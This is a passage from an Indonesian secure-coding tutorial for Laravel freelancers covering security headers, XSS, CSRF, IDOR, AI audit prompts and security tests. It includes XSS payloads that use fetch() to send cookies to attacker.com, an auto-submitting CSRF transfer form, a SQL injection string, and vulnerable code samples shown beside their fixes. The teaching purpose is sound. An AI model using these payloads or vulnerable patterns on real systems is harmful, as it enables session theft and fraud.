return parent::render($request, $exception);
}
HTTPS dan Security Headers
Data yang dikirim via HTTP plain text bisa di-intercept. Siapapun di network yang sama bisa melihat password, session cookie, dan data sensitif lainnya.
HTTPS mengenkripsi semua traffic antara browser dan server.
// app/Providers/AppServiceProvider.php
public function boot()
{
// Force HTTPS di production
if (config('app.env') === 'production') {
URL::forceScheme('https');
}
}
// .env production
APP_URL=https://yourdomain.com
SESSION_SECURE_COOKIE=true
Security headers memberikan instruksi ke browser untuk proteksi tambahan:
// app/Http/Middleware/SecurityHeaders.php
namespace App\\Http\\Middleware;
use Closure;
use Illuminate\\Http\\Request;
class SecurityHeaders
{
public function handle(Request $request, Closure $next)
{
$response = $next($request);
// Prevent MIME type sniffing
$response->headers->set('X-Content-Type-Options', 'nosniff');
// Clickjacking protection
$response->headers->set('X-Frame-Options', 'SAMEORIGIN');
// XSS protection (untuk browser lama)
$response->headers->set('X-XSS-Protection', '1; mode=block');
// Control referrer information
$response->headers->set('Referrer-Policy', 'strict-origin-when-cross-origin');
// Disable browser features yang tidak dipakai
$response->headers->set('Permissions-Policy', 'geolocation=(), microphone=(), camera=()');
// Content Security Policy - sesuaikan dengan kebutuhan
$response->headers->set(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-inline' <https://cdn.jsdelivr.net>; style-src 'self' 'unsafe-inline' <https://fonts.googleapis.com>; font-src 'self' <https://fonts.gstatic.com>; img-src 'self' data: https:; connect-src 'self'"
);
// Strict Transport Security - browser harus pakai HTTPS
if ($request->secure()) {
$response->headers->set(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains'
);
}
return $response;
}
}
// app/Http/Kernel.php
protected $middleware = [
// ... middleware lain
\\App\\Http\\Middleware\\SecurityHeaders::class,
];
Penjelasan setiap header:
X-Content-Type-Options mencegah browser menebak MIME type yang bisa diexploit. X-Frame-Options mencegah halaman di-embed di iframe untuk clickjacking attack. X-XSS-Protection mengaktifkan filter XSS di browser lama. Referrer-Policy mengontrol informasi yang dikirim saat user klik link keluar.
Content-Security-Policy adalah yang paling powerful. Ini mengontrol dari mana browser boleh memuat resources. Jika ada XSS, script dari domain yang tidak di-whitelist tidak akan dieksekusi.
Prompt AI untuk Audit Configuration
Audit konfigurasi security project Laravel berikut:
1. Environment Configuration
- Cek APP_DEBUG dan APP_ENV setting
- Cari credentials yang hardcoded di code
- Verifikasi .env.example tidak berisi real credentials
2. Data Protection
- Identifikasi sensitive data yang tidak di-encrypt
- Cek Model tanpa $hidden atau $visible attributes
- Review API responses yang mungkin expose data sensitif
3. Error Handling
- Cari error messages yang expose internal details
- Review exception handler configuration
- Cek logging untuk sensitive data
4. Security Headers
- Verifikasi HTTPS enforcement
- Cek security headers yang ter-configure
- Review CSP policy jika ada
5. File Security
- Cek .gitignore untuk sensitive files
- Review web server config untuk blocking sensitive paths
Files to review:
- .env.example
- config/app.php
- config/session.php
- App/Models/*.php
- App/Http/Controllers/*.php
- App/Exceptions/Handler.php
- nginx.conf atau server configuration
Berikan finding dengan severity level dan remediation steps.
[paste relevant files]
Checklist Data Protection dan Configuration
Data Protection:
- Model punya $hidden untuk field sensitif
- Gunakan API Resources untuk kontrol response
- Data sensitif di-encrypt di database
- APP_KEY aman dan tidak ter-expose
- Password dan secrets tidak di-log
Configuration:
- APP_DEBUG=false di production
- APP_ENV=production
- Semua credentials di .env, tidak hardcoded
- .env tidak ter-commit ke git
- .env tidak accessible dari web
Error Handling:
- Error messages generic untuk user
- Detail error di-log untuk developer
- Exception handler ter-configure untuk production
HTTPS dan Headers:
- HTTPS enforced di production
- Security headers ter-configure
- HSTS aktif untuk force HTTPS
- CSP ter-configure sesuai kebutuhan
Misconfiguration adalah low-hanging fruit bagi attacker. Mereka tidak perlu skill tinggi untuk menemukan debug mode yang aktif atau .env yang terexpose. Pastikan checklist ini terpenuhi sebelum setiap deployment.
Selanjutnya kita akan membahas XSS, CSRF, dan cara melakukan security audit menyeluruh dengan bantuan AI sebelum handover project ke client.
XSS, CSRF, dan Security Audit dengan AI
Cross-Site Scripting dan Cross-Site Request Forgery adalah dua vulnerability yang menyerang user aplikasi, bukan server secara langsung. Attacker memanfaatkan trust antara user dan aplikasi untuk melakukan aksi jahat. Laravel menyediakan proteksi built-in untuk keduanya, tapi pemahaman yang benar tetap penting untuk menghindari kesalahan implementasi. Bagian ini juga membahas workflow security audit menyeluruh dengan AI sebelum deploy project ke client.
Cross-Site Scripting (XSS)
XSS terjadi ketika attacker berhasil menyisipkan script jahat ke aplikasi, dan script tersebut dieksekusi di browser user lain.
Bayangkan ada fitur komentar di blog. User A posting komentar yang isinya bukan teks biasa, tapi JavaScript code. Ketika user B membuka halaman dan melihat komentar tersebut, script jahat dieksekusi di browser user B.
Apa yang bisa dilakukan attacker dengan XSS?
Mencuri session cookie dan mengirimnya ke server attacker. Dengan cookie tersebut, attacker bisa login sebagai korban tanpa perlu password. Melakukan aksi atas nama korban seperti transfer uang, ubah password, atau posting konten. Redirect korban ke website phishing yang mirip dengan aslinya. Memasang keylogger untuk mencuri semua yang diketik korban.
Ada tiga tipe XSS yang perlu kamu pahami.
Stored XSS adalah yang paling berbahaya. Script jahat disimpan di database dan dieksekusi setiap kali data tersebut ditampilkan. Contohnya komentar, post, atau profil user.
Reflected XSS terjadi ketika script ada di URL parameter dan langsung di-reflect ke halaman. Attacker mengirim link jahat ke korban, dan ketika diklik, script dieksekusi.
DOM-based XSS terjadi di sisi client ketika JavaScript memanipulasi DOM dengan data yang tidak di-sanitize.
Contoh code yang vulnerable terhadap Stored XSS:
// Controller menyimpan komentar tanpa sanitasi
public function storeComment(Request $request)
{
Comment::create([
'user_id' => auth()->id(),
'body' => $request->body, // Input langsung disimpan
]);
return back()->with('success', 'Komentar berhasil ditambahkan.');
}
{{-- VULNERABLE - Output tanpa escaping --}}
<div class="comment">
<p class="author">{{ $comment->user->name }}</p>
<div class="body">
{!! $comment->body !!} {{-- BAHAYA: Raw output --}}
</div>
</div>
Dengan code di atas, attacker bisa posting komentar seperti ini:
<script>
fetch('<https://attacker.com/steal?cookie=>' + document.cookie);
</script>
Setiap user yang melihat komentar tersebut akan mengirim cookie mereka ke server attacker.
Atau lebih subtle dengan event handler:
<img src="x" onerror="fetch('<https://attacker.com/steal?cookie=>' + document.cookie)">
Gambar dengan src invalid akan trigger onerror, yang menjalankan script jahat.
Cara fix XSS di Laravel sangat mudah. Gunakan escaped output:
{{-- SECURE - Double curly braces auto-escape --}}
<div class="comment">
<p class="author">{{ $comment->user->name }}</p>
<div class="body">
{{ $comment->body }} {{-- Otomatis escaped --}}
</div>
</div>
Dengan double curly braces, karakter seperti <, >, ", ', dan & diconvert menjadi HTML entities. Script tag menjadi <script> yang ditampilkan sebagai teks, bukan dieksekusi.
Tapi bagaimana kalau kamu memang perlu menyimpan dan menampilkan HTML? Misalnya rich text editor untuk blog post.
Gunakan HTML Purifier untuk sanitize input:
composer require ezyang/htmlpurifier
// app/Services/HtmlSanitizer.php
namespace App\\Services;
use HTMLPurifier;
use HTMLPurifier_Config;
class HtmlSanitizer
{
private HTMLPurifier $purifier;
public function __construct()
{
$config = HTMLPurifier_Config::createDefault();
// Hanya izinkan tag yang aman
$config->set('HTML.Allowed', 'p,br,strong,em,u,ul,ol,li,a[href],img[src|alt],h1,h2,h3,blockquote');
// Tidak izinkan JavaScript di href
$config->set('HTML.TargetBlank', true);
$config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true]);
$this->purifier = new HTMLPurifier($config);
}
public function sanitize(string $html): string
{
return $this->purifier->purify($html);
}
}
// Controller
public function storePost(Request $request, HtmlSanitizer $sanitizer)
{
$request->validate([
'title' => 'required|string|max:255',
'content' => 'required|string',
]);
Post::create([
'user_id' => auth()->id(),
'title' => $request->title,
'content' => $sanitizer->sanitize($request->content), // Sanitized HTML
]);
return redirect()->route('posts.index');
}
HTML Purifier menghapus semua tag dan attribute yang berbahaya. Script tag, event handlers seperti onclick dan onerror, dan javascript: URLs semuanya dihilangkan.
Cross-Site Request Forgery (CSRF)
CSRF memanfaatkan session user yang sudah login untuk melakukan aksi tanpa sepengetahuan mereka.
Skenarionya seperti ini. User A login ke banking app dan session masih aktif. User A kemudian membuka email dan klik link yang kelihatan innocent. Link tersebut sebenarnya mengarah ke halaman attacker yang berisi hidden form. Form tersebut otomatis submit ke banking app untuk transfer uang ke rekening attacker. Karena browser mengirim session cookie, banking app mengira ini request valid dari user A.
<!-- Halaman jahat milik attacker -->
<html>
<body onload="document.forms[0].submit();">
<form action="<https://banking.com/transfer>" method="POST">
<input type="hidden" name="to_account" value="ATTACKER_ACCOUNT">
<input type="hidden" name="amount" value="10000000">
</form>
</body>
</html>
Ketika user yang sudah login ke banking.com membuka halaman ini, form langsung submit dan transfer terjadi.
Laravel menyediakan CSRF protection yang sangat mudah digunakan:
{{-- SECURE - Form dengan CSRF token --}}
<form method="POST" action="/transfer">
@csrf {{-- Generate hidden input dengan token --}}
<input type="text" name="to_account" placeholder="Nomor rekening tujuan">
<input type="number" name="amount" placeholder="Jumlah">
<button type="submit">Transfer</button>
</form>
{{-- Hasil HTML --}}
<form method="POST" action="/transfer">
<input type="hidden" name="_token" value="randomly-generated-token-here">
...
</form>
Laravel otomatis memverifikasi CSRF token di setiap POST, PUT, PATCH, dan DELETE request. Tanpa token yang valid, request ditolak dengan error 419.
Attacker tidak bisa mengetahui token ini karena mereka tidak punya akses ke halaman aplikasi kamu. Token berbeda untuk setiap session.
Ada situasi di mana kamu perlu exclude route dari CSRF verification. Contohnya webhook dari payment gateway:
// app/Http/Middleware/VerifyCsrfToken.php
namespace App\\Http\\Middleware;
use Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken as Middleware;
class VerifyCsrfToken extends Middleware
{
/**
* Routes yang di-exclude dari CSRF verification
*/
protected $except = [
'webhook/midtrans',
'webhook/xendit',
'api/*', // API biasanya pakai token auth, bukan CSRF
];
}
Untuk webhook, gunakan signature verification sebagai pengganti CSRF:
// app/Http/Controllers/WebhookController.php
public function handleMidtransWebhook(Request $request)
{
$serverKey = config('services.midtrans.server_key');
$payload = $request->getContent();
$signature = $request->header('X-Midtrans-Signature');
// Verify signature
$expectedSignature = hash('sha512', $payload . $serverKey);
if (!hash_equals($expectedSignature, $signature)) {
Log::warning('Invalid webhook signature', [
'ip' => $request->ip(),
'payload' => $payload,
]);
abort(401, 'Invalid signature');
}
// Signature valid, process webhook
$data = json_decode($payload, true);
// ... handle payment notification
return response()->json(['status' => 'ok']);
}
Security Audit Workflow dengan AI
Sebelum deploy project ke client, lakukan security audit menyeluruh. Dengan bantuan AI, proses ini bisa lebih cepat dan komprehensif.
Step 1: Automated Scanning
Jalankan tools otomatis untuk menemukan vulnerability yang obvious:
# Install security checker
composer require enlightn/security-checker --dev
# Scan dependencies untuk known vulnerabilities
php artisan security:check
# Output contoh:
# Checking for security vulnerabilities...
#
# [ERROR] 2 vulnerabilities found!
#
# Package: laravel/framework
# Version: 9.0.0
# Advisory: SQL injection vulnerability in query builder
# CVE: CVE-2024-XXXX
#
# Package: guzzlehttp/guzzle
# Version: 7.4.0
# Advisory: SSRF vulnerability
# CVE: CVE-2024-YYYY
Update dependencies yang vulnerable:
composer update laravel/framework guzzlehttp/guzzle
Step 2: AI-Assisted Code Review
Gunakan prompt komprehensif untuk review code:
Lakukan security audit menyeluruh untuk project Laravel ini berdasarkan OWASP Top 10:
1. Injection (A03:2021)
- SQL Injection di raw queries
- Command Injection di exec/shell_exec
- LDAP/XPath Injection jika applicable
2. Broken Authentication (A07:2021)
- Password storage mechanism
- Brute force protection
- Session management
- 2FA implementation
3. Sensitive Data Exposure (A02:2021)
- Data yang tidak di-encrypt
- Sensitive data di logs
- API response yang expose data sensitif
4. Security Misconfiguration (A05:2021)
- Debug mode
- Default credentials
- Error handling
- Security headers
5. Cross-Site Scripting (A03:2021)
- Output escaping di Blade
- Penggunaan {!! !!} yang tidak aman
- DOM-based XSS di JavaScript
6. Broken Access Control (A01:2021)
- IDOR vulnerabilities
- Missing authorization checks
- Privilege escalation
7. CSRF Protection
- Forms tanpa @csrf
- AJAX requests tanpa token
- Webhook security
Untuk setiap vulnerability:
- Severity: Critical/High/Medium/Low
- Location: File dan line number
- Exploit scenario: Bagaimana attacker bisa exploit
- Fix: Code yang sudah diperbaiki
[paste semua controller, model, middleware, dan config]
Step 3: Manual Review untuk Business Logic
AI bagus untuk catch common vulnerabilities, tapi business logic flaws perlu review manual.
Pertanyaan yang harus kamu jawab:
Apakah user A bisa mengakses data user B? Cek semua endpoint yang mengambil data berdasarkan ID. Pastikan ada authorization check.
// VULNERABLE - IDOR (Insecure Direct Object Reference)
public function showOrder($id)
{
$order = Order::findOrFail($id);
return view('orders.show', compact('order'));
}
// SECURE - Verify ownership
public function showOrder($id)
{
$order = Order::where('id', $id)
->where('user_id', auth()->id())
->firstOrFail();
return view('orders.show', compact('order'));
}
// Atau dengan Policy
public function showOrder(Order $order)
{
$this->authorize('view', $order);
return view('orders.show', compact('order'));
}
Apakah promo code bisa dipakai berkali-kali? Apakah ada race condition di pembelian? Apakah user bisa bypass payment? Ini semua perlu dicek manual sesuai logic bisnis aplikasi.
Step 4: Security Test Cases
Buat automated tests untuk memastikan security measures berfungsi:
// tests/Feature/SecurityTest.php
namespace Tests\\Feature;
use Tests\\TestCase;
use App\\Models\\User;
use App\\Models\\Order;
use Illuminate\\Foundation\\Testing\\RefreshDatabase;
class SecurityTest extends TestCase
{
use RefreshDatabase;
public function test_sql_injection_prevented()
{
$maliciousInput = "'; DROP TABLE users; --";
$response = $this->get('/search?q=' . urlencode($maliciousInput));
$response->assertStatus(200);
// Verify table still exists
$this->assertDatabaseCount('users', User::count());
}
public function test_xss_escaped_in_output()
{
$user = User::factory()->create();
$maliciousComment = '<script>alert("xss")</script>';
$this->actingAs($user)->post('/comments', [
'body' => $maliciousComment,
]);
$response = $this->get('/comments');
// Script tag harus di-escape, bukan di-render
$response->assertDontSee('<script>', false);
$response->assertSee('<script>', false);
}
public function test_csrf_protection_active()
{
$user = User::factory()->create();
// Request tanpa CSRF token harus ditolak
$response = $this->actingAs($user)->post('/transfer', [
'to_account' => '1234567890',
'amount' => 1000000,
]);
$response->assertStatus(419);
}
public function test_user_cannot_access_other_user_order()
{
$user1 = User::factory()->create();
$user2 = User::factory()->create();
$order = Order::factory()->create(['user_id' => $user1->id]);
// User2 tidak boleh akses order user1
$response = $this->actingAs($user2)->get('/orders/' . $order->id);
$response->assertStatus(403);
}
public function test_brute_force_protection_active()
{
$user = User::factory()->create();
// Attempt login 10 kali dengan password salah
for ($i = 0; $i < 10; $i++) {
$this->post('/login', [
'email' => $user->email,
'password' => 'wrongpassword',
]);
}
// Attempt ke-11 harus di-block
$response = $this->post('/login', [
'email' => $user->email,
'password' => 'wrongpassword',
]);
$response->assertStatus(429); // Too Many Requests
}
public function test_sensitive_data_not_exposed_in_api()
{
$user = User::factory()->create();
$response = $this->actingAs($user)->getJson('/api/users/' . $user->id);
$response->assertOk();
// Pastikan sensitive data tidak ada di response
$response->assertJsonMissing(['password']);
$response->assertJsonMissing(['remember_token']);
$response->assertJsonMissing(['api_key']);
}
}
Jalankan tests secara regular:
php artisan test --filter=SecurityTest
Pre-Deployment Security Checklist
Gunakan checklist ini sebelum setiap deployment:
Authentication & Authorization
- Password di-hash dengan bcrypt atau argon2
- Rate limiting aktif untuk login (maksimal 5 attempts per menit)
- Account lockout setelah failed attempts berulang
- Session regeneration setelah login
- Session invalidation saat logout
- Authorization checks di semua endpoint yang perlu
- 2FA tersedia untuk user (minimal untuk admin)
Data Protection
- APP_DEBUG=false di production
- APP_ENV=production
- Sensitive data di-encrypt di database
- Model punya $hidden untuk field sensitif
- API responses menggunakan Resources
- Error messages generic, tidak expose internal details
- Sensitive data tidak di-log
Input/Output
- Semua input divalidasi dengan Laravel validation
- Tidak ada raw query dengan string concatenation
- Blade menggunakan {{ }} bukan {!! !!} untuk user content
- HTML input di-sanitize dengan HTMLPurifier jika perlu
- CSRF protection aktif untuk semua forms
Configuration
- HTTPS enforced
- Security headers configured
- .env tidak ter-commit dan tidak accessible dari web
- Dependencies up to date, tidak ada known vulnerabilities
- File upload divalidasi (tipe, ukuran, ekstensi)
Monitoring
- Error logging aktif
- Failed login attempts di-log
- Suspicious activities di-monitor
Penutup
Kita sudah membahas security secara komprehensif untuk freelance Laravel developer.
Dimulai dari injection attacks yang bisa memberikan attacker akses penuh ke database dan server. Lalu authentication dan session security yang menjadi gerbang utama aplikasi. Data protection dan configuration untuk mencegah exposure data sensitif dan kesalahan setting yang fatal. Dan terakhir XSS serta CSRF yang menyerang user aplikasi.
Setiap vulnerability sudah dijelaskan dengan contoh code vulnerable dan secure yang bisa langsung kamu terapkan. Plus prompt AI yang membantu melakukan security audit tanpa perlu hire security consultant mahal.
Security bukan one-time checklist yang selesai begitu project deploy.
Threats terus berkembang. Dependencies perlu di-update regular. Code baru yang ditambahkan perlu di-review. Security adalah proses berkelanjutan yang harus jadi bagian dari workflow development kamu.
Untuk freelancer, security skill adalah investasi yang sangat menguntungkan.
Kamu bisa charge premium 20-50% lebih tinggi karena menawarkan secure development. Bisa masuk ke project di industri regulated seperti fintech dan healthcare yang bayarannya lebih besar. Menjadi diferensiasi dari ribuan freelancer lain yang tidak peduli security. Dan yang paling penting, melindungi reputasi dari incident yang bisa menghancurkan karir.
Untuk memperdalam skill Laravel dan security implementation, BuildWithAngga menyediakan berbagai kelas yang bisa membantu perjalanan kamu sebagai freelancer profesional.
Berikut benefit yang akan kamu dapatkan:
- Akses selamanya ke semua materi termasuk update security terbaru dan best practices
- Project-based learning dengan implementasi security measures yang proper di setiap project
- Belajar dari praktisi yang sudah berpengalaman handle project enterprise dan regulated industries
- Source code lengkap dengan security implementation yang bisa dijadikan referensi
- Komunitas developer Indonesia untuk diskusi security, sharing pengalaman, dan belajar dari incident orang lain
- Mentorship untuk konsultasi langsung tentang security implementation di project spesifik kamu
Investasi waktu untuk belajar security akan memberikan return yang besar.
Baik dalam bentuk harga yang lebih tinggi karena value yang kamu tawarkan berbeda. Client yang lebih baik karena mereka yang serius dengan bisnis pasti peduli security. Maupun ketenangan pikiran bahwa project yang kamu deliver tidak akan menjadi headline berita tentang data breach.
Mulai dari project berikutnya, terapkan security measures yang sudah dibahas. Gunakan checklist sebelum setiap deployment. Manfaatkan AI untuk audit. Lama-lama ini akan menjadi habit dan bagian natural dari cara kamu development.
Security adalah skill. Dan seperti skill lainnya, semakin sering dipraktekkan, semakin mahir.
Semoga panduan ini bermanfaat dan membantu kamu menjadi freelancer Laravel yang tidak hanya bisa bikin fitur, tapi juga bisa memastikan fitur tersebut aman.
Salam secure coding.
Angga Risky Setiawan Founder BuildWithAngga